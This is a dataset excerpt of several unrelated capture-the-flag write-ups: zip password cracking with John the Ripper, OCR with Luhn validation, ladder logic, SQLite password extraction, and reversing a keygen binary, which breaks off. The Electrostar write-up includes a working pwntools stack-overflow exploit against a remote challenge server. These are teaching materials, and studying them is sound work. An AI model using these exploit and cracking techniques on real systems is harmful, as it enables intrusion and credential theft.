text_chunk
stringlengths
151
703k
#### Original Writeup - [https://github.com/CTSecUK/Syskron-Security-CTF-2020/blob/main/Write-ups/Stolen%20Licenses.md](https://github.com/CTSecUK/Syskron-Security-CTF-2020/blob/main/Write-ups/Stolen%20Licenses.md) ----- ![Category](http://img.shields.io/badge/Category-Wednesday-orange?style=for-the-badge) ![Points](http://img.shields.io/badge/Points-300-brightgreen?style=for-the-badge) ![Tag](https://img.shields.io/badge/Tag-ocr-blue?style=plastic) ![Tag](https://img.shields.io/badge/Tag-checksum-blue?style=plastic) ## Details ![Details](https://github.com/CTSecUK/Syskron-Security-CTF-2020/raw/main/Write-ups/images/stolen_licenses_details.png) I'll start by say that this was a tough challenge, especially given it was only worth 300 Points! With that in mind, I didn't really start making any progress with it until i'd unlocked a couple of hints, but I'll walk you through the process I took to get there. I started as it suggested by downloading the "**license.zip**" file from the linked download site, using the password provided. Once downloaded, trying to extract the zip file shows the file is password protected and so I set about trying to crack it as the challenege details suggest. First i run "**zip2john**" to extract the hash from the zip file. The output from this command shows us that the zip file contains 1000 image files so I've cut out most of the output; ```[jaxigt@MBA stolen_licenses]$ zip2john licenses.zip >zipfile.hash licenses.zip/img/ is not encrypted!ver 2.0 licenses.zip/img/ is not encrypted, or stored with non-handled compression typever 2.0 licenses.zip/img/B999582-0001.png PKZIP Encr: cmplen=166589, decmplen=169105, crc=7DA4BFEEver 2.0 licenses.zip/img/B999582-0002.png PKZIP Encr: cmplen=167001, decmplen=169545, crc=665E2878....ver 2.0 licenses.zip/img/B999582-0999.png PKZIP Encr: cmplen=167114, decmplen=169580, crc=C60B117Cver 2.0 licenses.zip/img/B999582-1000.png PKZIP Encr: cmplen=166561, decmplen=169031, crc=916E6193NOTE: It is assumed that all files in each archive have the same password.If that is not the case, the hash may be uncrackable. To avoid this, useoption -o to pick a file at a time.``` Likewise, cat'ing the hash file shows a huge hash key so i've just copied the last line which show the important info; ```...6164e18549ca98b7a*$/pkzip2$::licenses.zip:img/B999582-0055.png, img/B999582-0001.png, img/B999582-0002.png:licenses.zip``` Here we can see we're dealing with a "**pkzip2**" file. Hashcat does not currently support PKZip2 hashes so we'll need to stick with "**JTR**". Next I tried a dictionary attack with "**john**" using "**rockyou.txt**" to no avail. ```[jaxigt@MBA stolen_licenses]$ john --wordlist=/usr/share/wordlists/rockyou.txt zipfile.hashUsing default input encoding: UTF-8Loaded 1 password hash (PKZIP [32/64])Will run 4 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for status0g 0:00:00:01 DONE (2020-10-25 01:59) 0g/s 12470Kp/s 12470Kc/s 12470KC/s !joley08!..*7¡Vamos!Session completed``` I even tried some hybrid and brute force cracking, but with still no progress, this is where i came un-stuck and needed to use one of the availble hints. ![Hint 1](https://github.com/CTSecUK/Syskron-Security-CTF-2020/raw/main/Write-ups/images/stolen_licenses_hint1.png) Armed with this new information we have a new angle of attack. I could have just skimmed down the page and create a wordlist manually using the new words but I'm a bit lazy so i used "**cewl**" to do it for me; ```[jaxigt@MBA stolen_licenses]$ cewl -d 1 -m 6 https://www.merriam-webster.com/words-at-play/new-words-in-the-dictionary >passwords.txt``` Using this new wordlist we try "**JTR**" again this time with a simple rule list applied to vary case, capitalisation etc; ```[jaxigt@MBA stolen_licenses]$ john --wordlist=passwords.txt --rules=single zipfile.hash Using default input encoding: UTF-8Loaded 1 password hash (PKZIP [32/64])Will run 4 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for statusnosocomephobia (licenses.zip)1g 0:00:00:00 DONE (2020-10-25 02:10) 100.0g/s 819200p/s 819200c/s 819200C/s Dictionary..yarnerUse the "--show" option to display all of the cracked passwords reliablySession completed``` Within a few seconds we have the password! - **nosocomephobia** Now we can unzip the files and finaly get to the real work on this challenge. Looking at the files in the "***extracted img folder***" we can see 1000 images all very simlar to the one below, but each with a "**unique serial**" and "**activation key**"; ![Exmaple License Image](https://github.com/CTSecUK/Syskron-Security-CTF-2020/raw/main/Write-ups/images/stolen_licenses_license.png) So now we have two challenges; 1. How to extract the data from each file (we cant manually copy it out from 1000 files)!2. How do we check which keys are valid? To resolve the first, we will need to use some sort of OCR, but for the second, I needed another hint. ![Hint 2](https://github.com/CTSecUK/Syskron-Security-CTF-2020/raw/main/Write-ups/images/stolen_licenses_hint2.png) Hmm... at first this seemed fairly unhelpful, but if we refer to an earlier challenge "**Check digit**" (one of the simple Trivia catagory ones) we are reminded of the below; ![Check Digits Challenge](https://github.com/CTSecUK/Syskron-Security-CTF-2020/raw/main/Write-ups/images/check_digit_details.png) The detailed answer to that challenge can be found in it's own writeup, but the method implemented is "**ISO/IEC 7812**" and with a bit of further Googling it is revealed that under this standard "**check digits**" are calcuated calculated using the "**Luhn algorithm**". We'll come back to the Luhn algorithm in a bit, but first let's start writing some code to do what we need. First we'll try a python OCR library to open an image and try to read the text from it; ```pythonimport sysimport tesserocrfrom PIL import Image image_file = sys.argv[1] image = Image.open(image_file)print(tesserocr.image_to_text(image))``` Running this code we can see that it does indeed perform some OCR on the image but hasn't managed to extract any of the important data we needed. ```[jaxigt@MBA stolen_licenses]$ python ocr.py img/B999582-0001.png libpng warning: iCCP: known incorrect sRGB profileR i SW serial number activation key only valid if purchased together with a machine ``` A bit more research online and we find a stack overflow post in relation to a similar OCR python library [https://stackoverflow.com/questions/55994807/pytesseract-fail-to-recognise-digits-from-image](https://stackoverflow.com/questions/55994807/pytesseract-fail-to-recognise-digits-from-image), which suggested adding the following code to optimise the processsing of the image; ```pythonimport cv2from PIL import Image img = cv2.imread('gradient.png')# If your image is not already grayscale :# img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)threshold = 180 # to be determined_, img_binarized = cv2.threshold(img, threshold, 255, cv2.THRESH_BINARY)pil_img = Image.fromarray(img_binarized)``` The updated code now looks like this; ```pythonimport sysimport cv2import tesserocrfrom PIL import Image image_file = sys.argv[1] img = cv2.imread(image_file)img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)threshold = 180 # to be determined_, img_binarized = cv2.threshold(img, threshold, 255, cv2.THRESH_BINARY)pil_img = Image.fromarray(img_binarized) print(tesserocr.image_to_text(pil_img))``` Running this new code we now see an improved OCR output; ```[jaxigt@MBA stolen_licenses]$ python ocr.py img/B999582-0001.png L I IV TR WAL )) =SW serial number . B999582-0001 o)V [ufe] sl 5% 78121994415279564775 ' 4 e Ui ``` Here we can see the serial key is now listed in the output. Next we need to add and tweak some code to extract the key from the output using "**regular expressions**.; A quick look through some of the image files confirms that they all begin with the same sequence of numbers (7812...), so lets use that to find the string we wish to extract; ```pythonimport sysimport cv2import reimport tesserocrfrom PIL import Image image_file = sys.argv[1] img = cv2.imread(image_file)img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)threshold = 180 # to be determined_, img_binarized = cv2.threshold(img, threshold, 255, cv2.THRESH_BINARY)pil_img = Image.fromarray(img_binarized) img_ocr_data = tesserocr.image_to_text(pil_img)pattern = r"^7812\d+"multiline = re.compile(pattern, re.MULTILINE)license_key = multiline.findall(img_ocr_data) print(license_key[0])``` Now when we run the script we see just the license key in the output; ```[jaxigt@MBA stolen_licenses]$ python ocr.py img/B999582-0001.png 78121994415279564775``` So now we need to make it perfom this function on every file in the "**img**" directory. ```pythonimport sysimport cv2import reimport osimport tesserocrfrom PIL import Image dir_path = sys.argv[1] for file_name in os.listdir(dir_path): img = cv2.imread(dir_path + "/" + file_name) img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) threshold = 180 # to be determined _, img_binarized = cv2.threshold(img, threshold, 255, cv2.THRESH_BINARY) pil_img = Image.fromarray(img_binarized) img_ocr_data = tesserocr.image_to_text(pil_img) pattern = r"^7812\d+" multiline = re.compile(pattern, re.MULTILINE) license_key = multiline.findall(img_ocr_data) print(license_key[0]) ``` This works perfectly, but i stop it before it processes the 1000 files in the directory! ```[jaxigt@MBA stolen_licenses]$ python ocr.py /home/jaxigt/ctf/syskron/stolen_licenses/img7812368375735994476978124972664118984564781291293845872139557812952923935574123878127895886947342345781234221218966141437812954385121485244778129631245481594161^CTraceback (most recent call last): File "ocr.py", line 18, in <module> img_ocr_data = tesserocr.image_to_text(pil_img)KeyboardInterrupt``` Ok, so the final piece of the puzzle is running the "**Lunh algorithm**" check to determine if the keys are valid. I must admit i spent some time trying various PyPi implementations which didn't work correctly before stubling aggross this site - [https://www.geeksforgeeks.org/luhn-algorithm/](https://www.geeksforgeeks.org/luhn-algorithm/). Not only did it explain in an an easy to follow way how the algorithm works... but also helpfully included some code for us to implement it into our script! I added the code and our python script now looks like this; ```pythonimport sysimport cv2import reimport osimport tesserocrfrom PIL import Image dir_path = sys.argv[1] i=0j=0 def verifyLuhn(numberstring): nDigits = len(numberstring) nSum = 0 isSecond = False for i in range(nDigits - 1, -1, -1): d = ord(numberstring[i]) - ord('0') if (isSecond == True): d = d * 2 nSum += d // 10 nSum += d % 10 isSecond = not isSecond if (nSum % 10 == 0): return True else: return False for file_name in os.listdir(dir_path): i += 1 #print("Opening file: " + file_name) img = cv2.imread(dir_path + file_name) img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) threshold = 180 # to be determined _, img_binarized = cv2.threshold(img, threshold, 255, cv2.THRESH_BINARY) pil_img = Image.fromarray(img_binarized) img_ocr_data = tesserocr.image_to_text(pil_img) pattern = r"^7812\d+" multiline = re.compile(pattern, re.MULTILINE) license_key = multiline.findall(img_ocr_data) if verifyLuhn(license_key[0]): j += 1 print("File (" + str(i) + " - " + str(file_name) + "): Contains a valid key: " + str(license_key)) print(str(i) + " Files checked / " + str(j) + " valid keys found!")``` Running the script, which does take a bit of time (unsuprisingly, given its performing OCR on 1000 image files!) produces the below output; ```[jaxigt@MBA stolen_licenses]$ python3 ocr.py /home/jaxigt/ctf/syskron/stolen_licenses/img/File (288 - B999582-0112.png): Contains a valid key: ['78124512846934984669']1000 Files checked / 1 valid keys found! ``` So there we have our flag (in a slightly different format this time): **78124512846934984669**
# Ladder password ## Task A BB engineer encoded her password in ladder logic. Each "r" can be either 0 or 1 and represents a character in her password. "r1" is the first character, "r2" the second one, and so on. We assume that n1 is a small value and n3 is big. n2 may be between n1 and n3. Please decode the password to demonstrate that this technique of storing passwords is insecure. Flag format: r1r2r3…r9r10 (e.g., 1101…001). Be aware: BB deployed brute-force detection. You only have 3 attempts until lockout! File: ladder-password.png Tags: plc-programming ## Solution If you don't know how to read ladder logic you can use a simulator/editor. There is an online version at: https://www.plcfiddle.com/ Reconstructing the image and adjusting n1,n2,n3 according to the task we get: 0011100011
file BB-inDu57rY-P0W3R-L34k3r2.db returns the following:`BB-inDu57rY-P0W3R-L34k3r2.db: SQLite 3.x database, last written using SQLite version 3033000` so we know we're dealing with an sqlite3 database.```sqlite3 BB-inDu57rY-P0W3R-L34k3r2.db.tables # show tables, only one table found: personal.schema personal # shows table column names and data typeselect password from personal;sqlite3 BB-inDu57rY-P0W3R-L34k3r2.db "select password from personal;" > passwords.txt```Then I simply wrote a python script.```passwords = open("passwords.txt").read().splitlines() flag = ""flag += str(len(passwords))unique = []bcrypt = 0for p in passwords: if p.startswith("$2b$"): bcrypt += 1 if p not in unique: unique.append(p) else: flag+="_"+p flag+="_"+str(bcrypt) print(flag)``` flag: **376_mah6geiVoo_21**
# Electrostar 1 author: itszn Electrostar(TM) is a new secure modular userspace system which provides security for the upcoming election. We want you to try and find a weakness in the system and slowly work your way in. Our goal is complete compromise! This challenge is running on Ubuntu 18.04 with the provided libc. Hint: For the first flag, focus on the `ballot_module.img.sig` and `gui_module.img.sig` [handout](https://htv2020.s3.amazonaws.com/electrostar.tar.gz) server: `electrostar.hackthe.vote:9000` ## TL;DR * Crash the `ncurses` GUI to drop in to the `stdin` interface of `ballot_module`* the first byte sent will be passed to `alloca()`. Send a negative byte to allow for BOF* jump to `print_flag()` func inside `ballot_module`. The exploit code is short enough to be dumped here: ```pythonfrom pwn import *r = remote('54.144.21.40', 9000)DOWN = '\x1b\x4f\x42' # Find this key sequence through tcpdump or somethingr.recvrepeat(timeout=3)r.sendline(DOWN) # go down and select voter.sendline() # unselect that voter.sendline(DOWN) # go down and send the vote PRINT_FLAG = 0x500741 # grab from gdbEND_OF_WARN = b'\x1b\x5b\x30\x6d' # colour code that is used by outputr.recvuntil(b'falling back to STDIN'+END_OF_WARN+b'\n') # not necessary, but for documentation# in-between p8() and PRINT_FLAG, one variable needs to be zeroed out [p64(0)] to prevent a for() loop from executing.r.sendline(p8(256-15) + b'a'*0x18 + p64(0).ljust(0x40) + pack(PRINT_FLAG))r.interactive()``` ## machine ```$ tree electrostar├── connect.sh├── flag1.txt├── flag2.txt├── flag3.exe├── libc.so.6├── machine├── modules│   ├── ballot_module.img.sig│   ├── gui_module.img.sig│   ├── init_module.img.sig├── README.txt├── sandbox.h└── serve.sh$ cat electrostar/connect.shsocat tcp:54.144.21.40:9000 FILE:`tty`,rawer,echo=0,icrnl=1,escape=0x03$ cat electrostar/serve.sh/usr/bin/socat -d -d TCP-LISTEN:9000,reuseaddr,fork EXEC:"timeout -sKILL 300 ./machine modules/init_module.img.sig",pty,stderr,setsid,sigint,sighup,echo=0,sane,raw,ignbrk=1``` The server runs `./machine modules/init_module.img.sig`; the reversibles are `./machine`, and the 3 `*.sig`s in `modules/`. Although the challenge description recommends looking closely at `gui_module.img.sig` and `ballot_module.img.sig`, that's probably not where you should start for this. The first step for any CTF is to look for _how to get the flag_, and for that, there's a chunk of code in `machine` that every solution used: ```//process_ipc+331if ( ipc_option == 1337 ) { // this variable is self-labelled stream = fopen("flag1.txt", "r"); //find this part by grepping "flag1.txt" fgets(&s, 64, stream); fclose(stream); printf("\x1B[92m[Module %u] Here is your flag #1: %s\n\x1B[0m", (unsigned int)proc->parent_pid, &s); //proc is a self-labelled struct}``` I'm not going to dig into the whole "IPC" thing this write-up; just remember and bookkeep the number 1337. To begin the challenge, I tried running the binary as intended: ```$ ./machine modules/init_module.img.sig0x7ff3cc7d5000 ______ __ ______ / __/ /__ ____/ /________ / __/ /____ _____ / _// / -_) __/ __/ __/ _ \_\ \/ __/ _ `/ __//___/_/\__/\__/\__/_/ \___/___/\__/\_,_/_/ (tm)Electrionic Balloting SystemCopyright 2011 Booting Primary ModuleModule hash:b8da219ba88c5a1fb98b3fd0dc9d7d7514edd51f2696248949e7aa12b5487bb6Checking Module Signature:303c021c1739c89093497fa996bacfc05878eebd778ef58b84fe4f676e44c6cd021c42419d590420e6f6a0066d53bedd7bb4ec09193c536ec91910cbb22f0000Image Signature ValidatedDEBUG: Image Size = 8233 bytes[Module 1240652] Started Module LoadDEBUG: Module mapped to 0x500000[Module 1240652] Scrubbing process for security[Module 1240652] [Init] Started Init Module[Module 1240652] [Init] Starting GUI Module...WARN: Module 1240652 ExitedERROR: Init exited, exiting...``` Well that didn't work. After a few hours of investigation, I decide to scramble together a Dockerfile to get things working properly: ```dockerfilefrom ubuntu:18.04 run apt-get update && apt-get upgrade -yrun apt-get install -y socat libncurses5 libncurses5-dev gdb-multiarch copy ./machine ./connect.sh ./local.sh modules/ README.txt sandbox.h ./serve.sh ./flag1.txt ./flag2.txt ./flag3.exe /chall/ WORKDIR /challrun chmod 777 /chall/* # lazyness # stuff for local debuggingrun apt-get install -y wgetrun sh -c "$(wget http://gef.blah.cat/sh -O -)"run echo 'set step-mode on' >> ~/.gdbinitrun apt-get install -y python3-pip python3.8 python3.8-devrun python3.8 -m pip install pwntools CMD /chall/serve.sh``` Build with `docker build -t electrostar .`; run with `docker run --rm -it --cap-add=SYS_PTRACE --security-opt seccomp=unconfined electrostar`, get inside with `docker exec -it $(docker ps|head -2|tail -1|grep '^[0-9a-z]*' -o) bash`. Now that we've got a working binary, we can go on to do the actual challenge. ## Voting ``` ┌─┐ │ │ │ │ │ * President: Washington │ │ President: Lincoln │ │ Submit │ │ │ │ │ │ │ └─┘``` The program has a very simple menu: 3 options, you press enter to select any of them, and arrow keys to navigate. There are two interesting features you can get from fiddling around with the menu: 1. You can choose to vote for both candidates (unfortunately, this seems to do little useful) 2. Normally, you can't vote without choosing a candidate first. However, if you select and unselect a candidate, you can press the submit button for an interesting outcome: ``` Starting GUI module, supressing log output GUI Process Crashed with Floating point exception WARN: Module 3420 Exited WARN: GUI lost, resuming log output WARN: No GUI process, falling back to STDIN ``` Why does this happen? Decompilation is a slow way to gain understanding. Starting off with `gui_module.img.sig`, we'll try to open up the innards with IDA: ```pythonseg000:0000000000000000 dq 51D6141C023D303Fh, 0C45F9B4260063F45h, 92C6DBA4220FDB70hseg000:0000000000000000 dq 6088E1091EA5FF39h, 0D2AE53E1001D02AAh, 0CA1DD9B9EEA0F7EChseg000:0000000000000000 dq 0E5DBAA7E74D278B5h, 6D0547388DAC642Eh, 0A74058D4802hseg000:0000000000000000 dq 0CCCCCCCCCCCCE0FFh, 54h dup(0CCCCCCCCCCCCCCCCh), 1D68058D48CCCChseg000:0000000000000000 dq 0FFFFFFFFF3E8C300h, 60FFFFFFFFECE820h, 60FFFFFFFFE4E808h...``` That's pretty terrible, but the numbers looked close enough to code for me to play around with the disassembler a bit more. Undefining things with `u` and pressing `c` enough times randomly will eventually bring you a list of proper functions: ```sub_2F2 seg000 00000000000002F2 00000008 00000000 00000000 R . . . . . .sub_301 seg000 0000000000000301 00000008 R . . . . . .sub_311 seg000 0000000000000311 00000008 R . . . . . .sub_321 seg000 0000000000000321 00000008 R . . . . . .sub_329 seg000 0000000000000329 00000008 R . . . . . .sub_331 seg000 0000000000000331 00000008 R . . . . . .sub_339 seg000 0000000000000339 00000008 R . . . . . .sub_341 seg000 0000000000000341 00000008 R . . . . . .sub_349 seg000 0000000000000349 00000008 R . . . . . .sub_351 seg000 0000000000000351 00000008 R . . . . . .sub_359 seg000 0000000000000359 00000008 R . . . . . .sub_361 seg000 0000000000000361 00000008 R . . . . . .sub_369 seg000 0000000000000369 00000008 R . . . . . .sub_371 seg000 0000000000000371 00000008 R . . . . . .sub_379 seg000 0000000000000379 0000000B R . . . . . .sub_384 seg000 0000000000000384 0000000B R . . . . . .sub_38F seg000 000000000000038F 0000000B R . . . . . .sub_39A seg000 000000000000039A 0000000B R . . . . . .sub_3A5 seg000 00000000000003A5 0000000B R . . . . . .sub_3B0 seg000 00000000000003B0 0000000B R . . . . . .sub_3BB seg000 00000000000003BB 0000000B R . . . . . .sub_3C6 seg000 00000000000003C6 0000000B R . . . . . .sub_3D1 seg000 00000000000003D1 0000039C 00000038 00000000 R . . . B . .sub_76D seg000 000000000000076D 0000008B 00000018 00000000 R . . . B . .sub_7F8 seg000 00000000000007F8 0000002A 00000018 00000000 R . . . B . .sub_84E seg000 000000000000084E 0000026E 00000088 00000000 R . . . B . . ``` If you stare at the code longer, you'll eventually realise that most of these functions are actually just acting like a GOT table, with the actual library function names all embedded in the binary. The remaining functions can be named by intuition: ```grab_GOT_table seg000 00000000000002F2 00000008 00000000 00000000 R . . . . . .printf seg000 00000000000002FA 00000007 R . . . . . .write seg000 0000000000000301 00000008 R . . . . T .read seg000 0000000000000309 00000008 R . . . . . .strlen seg000 0000000000000311 00000008 R . . . . . .endwin seg000 0000000000000319 00000008 R . . . . . .getch seg000 0000000000000321 00000008 R . . . . . .refresh seg000 0000000000000329 00000008 R . . . . . .new_item seg000 0000000000000331 00000008 R . . . . T .new_menu seg000 0000000000000339 00000008 R . . . . . .post_menu seg000 0000000000000341 00000008 R . . . . . .menu_driver seg000 0000000000000349 00000008 R . . . . . .menu_opts_off seg000 0000000000000351 00000008 R . . . . . .current_item seg000 0000000000000359 00000008 R . . . . . .item_index seg000 0000000000000361 00000008 R . . . . . .item_value seg000 0000000000000369 00000008 R . . . . . .newwin seg000 0000000000000371 00000008 R . . . . . .keypad seg000 0000000000000379 0000000B R . . . . . .set_menu_win seg000 0000000000000384 0000000B R . . . . . .set_menu_sub seg000 000000000000038F 0000000B R . . . . . .derwin seg000 000000000000039A 0000000B R . . . . . .set_menu_mark seg000 00000000000003A5 0000000B R . . . . . .wrefresh seg000 00000000000003B0 0000000B R . . . . . .box seg000 00000000000003BB 0000000B R . . . . . .unpost_menu seg000 00000000000003C6 0000000B R . . . . . .load_externs_return_extern_table seg000 00000000000003D1 0000039C 00000038 00000000 R . . . B . .multiref_func seg000 000000000000076D 0000008B 00000018 00000000 R . . . B T .NO_xref_function_continued seg000 00000000000007F8 0000002A 00000018 00000000 R . . . B . .NO_xref_function seg000 0000000000000822 0000002C 00000018 00000000 R . . . B . .run_voting_ui seg000 000000000000084E 0000026E 00000088 00000000 R . . . B . .main_probably seg000 0000000000000ABC 00000071 00000038 00000000 . . . . B T .``` In what is _probably_ `main()`, there is a simple loop that runs the voting GUI: ```cint main(){ char *saved_rax; // [rsp+28h] [rbp-8h] load_GOT_table(a3, a4); saved_rax = (char *)newwin(10LL, 40LL); keypad(saved_rax, 1LL); while ( 1 ) run_voting_ui(saved_rax, (char *)&unk_1);}``` In `run_voting_ui()`, you can find the main programming loop that drives the ncurses UI: ```cnothing_has_been_selected = 1; while ( 1 ) { wrefresh(v7); c = getch(v7); if ( c == -1 ) break; switch ( c ) { case '\x01\x02': menu_driver(); break; case '\x01\x03': menu_driver(); break; case '\n': case '\r': v18 = current_item(v20); ind = item_index(); if ( ind == 2 ) { if ( !nothing_has_been_selected ) goto LABEL_13; } else { nothing_has_been_selected = 0; menu_driver(); } break; } }LABEL_13:``` The verbose `nothing_has_been_selected` is the source of the `GUI Process Crash` we saw earlier. If the program jumps to `LABEL_13` without any selected vote, the program will attempt to do a division by zero, which causes the crash. If the vote *doesn't* crash, a log of the vote is written to some weird file descriptor that comes with the process: ```c// run_voting_ui calls multiref_func(10, (char *)a2a, 32);__int64 multiref_func(int type, char *buf, __int16 len){ unsigned __int16 len2; // [rsp+8h] [rbp-8h] int fd2; // [rsp+Ch] [rbp-4h] fd2 = type; len2 = len + 4; write(*(_DWORD *)(unk_2041 + 12LL), (__int64)&len2, 2); write(*(_DWORD *)(unk_2041 + 12LL), (__int64)&fd2, 4); return write(*(_DWORD *)(unk_2041 + 12LL), (__int64)buf, (unsigned int)len2 - 4);}``` Through some divine magic, you can eventually find out that `multiref_func` is sending this data to `ballot_module` via the `i/o` methods defined in `machine`. Although there's a lot more to see in `gui_module.img.sig`, **everything else inside is useless** for the purposes of our exploit, so we'll move on to `ballot_module`. ## Stdin ```while ( 1 ){ idk_print("Waiting for input from GUI...\n"); input = (char *)recv_input(100); parse_input(input); free(input);}``` `Ballot module` works like this: * In `recv_input()`, take the first two bytes of input to be the _message length_, and return an allocated pointer to the rest of the message: ```c __int64 recv_input_change_len(_WORD *len){ __int64 recv_ptr; // ST18_8 *len = 0; read(*(unsigned int *)(envp_place + 16LL), len, 2LL); // msg len if ( !len ) return 0LL; recv_ptr = malloc((unsigned __int16)*len); read(*(unsigned int *)(envp_place + 16LL), recv_ptr, (unsigned __int16)*len); return recv_ptr; //msg received } ``` We can ignore the first two bytes --- `process_ipc` in `./machine` handles that stuff on its own, and our input is effectively whatever appears inside `recv_ptr`. * In `parse_input()`, use the first byte _of that allocated message_ as a length to be passed to `alloca()`, and then run `memcpy()` from the allocated message to `rsp`: ```c __int64 __fastcall parse_input(char *input) { void *rsp_; // rsp signed __int64 expected_len; // rax __int64 result; // rax __int64 new_rsp_deref; // [rsp+0h] [rbp-50h] char *input_copy; // [rsp+8h] [rbp-48h] unsigned __int64 v6; // [rsp+18h] [rbp-38h] __int64 *rsp_copy; // [rsp+20h] [rbp-30h] __int64 x64_first_byte_minus_one; // [rsp+28h] [rbp-28h] unsigned __int8 input_first_bytes; // [rsp+36h] [rbp-1Ah] unsigned __int8 v10; // [rsp+37h] [rbp-19h] unsigned __int64 i; // [rsp+38h] [rbp-18h] input_copy = input; input_first_bytes = *input; x64_first_byte_minus_one = (char)input_first_bytes - 1LL; rsp_ = alloca(16 * (((char)input_first_bytes + 15LL) / 0x10uLL));// sign extension issue here rsp_copy = &new_rsp_deref; if ( input_first_bytes > 0x63u ) expected_len = 100LL; else expected_len = (unsigned int)(char)input_first_bytes; v6 = expected_len; memcpy(rsp_copy, input_copy + 1, expected_len, input_copy + 1, (char)input_first_bytes, 0LL); // can BOF with this v10 = 0; for ( i = 0LL; i < v6; ++i ) { if ( *((char *)rsp_copy + i) > (unsigned int)v10 ) v10 = *((_BYTE *)rsp_copy + i); } // this part can be used for shellcoding, but honestly why bother? ++*(_DWORD *)byte_2040; result = byte_2040[0]; byte_2060[byte_2040[0]] = v10; return result; } ``` By setting the first byte to be `-15`, `alloca()` will allocate 0 bytes of memory, but `expected_len` will still be set to `100` because of unsigned comparison. To control RIP, we'll fake an input like this: ```+-first_byte-+-garbage-+-return_pointer-+| -15 | 0 | ?????? |+-----1------+---0x58--+-------0x8------+``` The question of "where to jump" is easily solved by looking through the program: ```c__int64 print_flag(){ idk_print("Dumping Flag!\n"); return IPC_message_with_len_and_fd(1337, 0, 0);}``` _There's_ the 1337. By jumping to there, you're done! ## Other notes I couldn't solve part 2 because I had no idea how to leak the private key. For part 3, it's maybe a _little_ bit obvious that the solution is somewhere here: ```cif ( ipc_option == 50 ){ if ( !(proc->type & 4) ){ printf("\x1B[93mWARN: Only the init module can call command 50\n\x1B[0m", allocd); return __readfsqword(0x28u) ^ v12; } if ( sizecopy <= 0xF ) return __readfsqword(0x28u) ^ v12; v9 = *(_DWORD *)&allocd_copy->msg; // v9 is a signed int if ( v9 > 31 ){ // let's be real here: this is probably a negative index bug printf("\x1B[93mWARN: Command 50 out of bounds!\n\x1B[0m", allocd); return __readfsqword(0x28u) ^ v12; } record_array[v9] = *(_QWORD *)((char *)&allocd_copy[1].type + 3); // this can index straight to FILE* for an exploit. libc leak is already implicit from the leaked pointer at the first line of output from ./machine}``` Alas, getting there needs a fake `proc->type & 4` module, which is rather impossible without solving part 2 first.
# Key generator ## Task This is our official key generator that we use to derive keys from machine numbers. Our developer put a secret in its code. Can you find it? File: keygen Tags: reverse-engineering ## Solution Let's see what we have here: ```bash$ file keygenkeygen: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7d6f8eb010acea04bfdcbeef39b6fa8df52ec9bf, for GNU/Linux 3.2.0, not stripped``` We analyze this file using radare2: ```bash$ r2 -AA keygen[0x000010a0]> afl0x000010a0 1 46 entry00x000010d0 4 41 -> 34 sym.deregister_tm_clones0x00001100 4 57 -> 51 sym.register_tm_clones0x00001140 5 65 -> 55 sym.__do_global_dtors_aux0x00001190 1 9 entry.init00x00001000 3 27 sym._init0x00001500 1 5 sym.__libc_csu_fini0x000012d8 9 213 sym.genserial0x00001508 1 13 sym._fini0x00001490 4 101 sym.__libc_csu_init0x000013ad 6 212 main0x00001199 8 165 sym.strrev0x0000123e 6 154 sym.octal0x00001030 1 6 sym.imp.toupper0x00001040 1 6 sym.imp.puts0x00001050 1 6 sym.imp.strlen0x00001060 1 6 sym.imp.__stack_chk_fail0x00001070 1 6 sym.imp.printf0x00001080 1 6 sym.imp.strcmp0x00001090 1 6 sym.imp.__isoc99_scanf``` We see the functions `main`, `sym.genserial`, `sym.strrev` and `sym.octal`. ```nasm[0x000010a0]> pdf@main ; DATA XREF from entry0 @ 0x10c1┌ 212: int main (int argc, char **argv, char **envp);│ ; var char *s @ rbp-0x10│ ; var int64_t canary @ rbp-0x8│ 0x000013ad 55 push rbp│ 0x000013ae 4889e5 mov rbp, rsp│ 0x000013b1 4883ec10 sub rsp, 0x10│ 0x000013b5 64488b042528. mov rax, qword fs:[0x28]│ 0x000013be 488945f8 mov qword [canary], rax│ 0x000013c2 31c0 xor eax, eax│ 0x000013c4 488d3dbd0e00. lea rdi, [0x00002288] ; "/********************************************************************************" ; const char *s│ 0x000013cb e870fcffff call sym.imp.puts ; int puts(const char *s)│ 0x000013d0 488d3d090f00. lea rdi, str.Copyright__C__BB_Industry_a.s.___All_Rights_Reserved ; 0x22e0 ; "* Copyright (C) BB Industry a.s. - All Rights Reserved" ; const char *s│ 0x000013d7 e864fcffff call sym.imp.puts ; int puts(const char *s)│ 0x000013dc 488d3d350f00. lea rdi, str.Unauthorized_copying_of_this_file__via_any_medium_is_strictly_prohibited ; 0x2318 ; "* Unauthorized copying of this file, via any medium is strictly prohibited" ; const char *s│ 0x000013e3 e858fcffff call sym.imp.puts ; int puts(const char *s)│ 0x000013e8 488d3d790f00. lea rdi, str.Proprietary_and_confidential ; 0x2368 ; "* Proprietary and confidential" ; const char *s│ 0x000013ef e84cfcffff call sym.imp.puts ; int puts(const char *s)│ 0x000013f4 488d3d8d0f00. lea rdi, str.Written_by_Marie_Tesa__ov____m.tesarova_bb_industry.cz___April_2011 ; 0x2388 ; "* Written by Marie Tesa\u0159ov\u00e1 <[email protected]>, April 2011" ; const char *s│ 0x000013fb e840fcffff call sym.imp.puts ; int puts(const char *s)│ 0x00001400 488d3dc90f00. lea rdi, str. ; 0x23d0 ; "********************************************************************************/\n" ; const char *s│ 0x00001407 e834fcffff call sym.imp.puts ; int puts(const char *s)│ 0x0000140c 488d3d151000. lea rdi, str.Enter_machine_number__e.g._B999999_: ; 0x2428 ; "Enter machine number (e.g. B999999): " ; const char *format│ 0x00001413 b800000000 mov eax, 0│ 0x00001418 e853fcffff call sym.imp.printf ; int printf(const char *format)│ 0x0000141d 488d45f0 lea rax, [s]│ 0x00001421 4889c6 mov rsi, rax│ 0x00001424 488d3d231000. lea rdi, [0x0000244e] ; "%7s" ; const char *format│ 0x0000142b b800000000 mov eax, 0│ 0x00001430 e85bfcffff call sym.imp.__isoc99_scanf ; int scanf(const char *format)│ 0x00001435 488d45f0 lea rax, [s]│ 0x00001439 4889c7 mov rdi, rax ; const char *s│ 0x0000143c e80ffcffff call 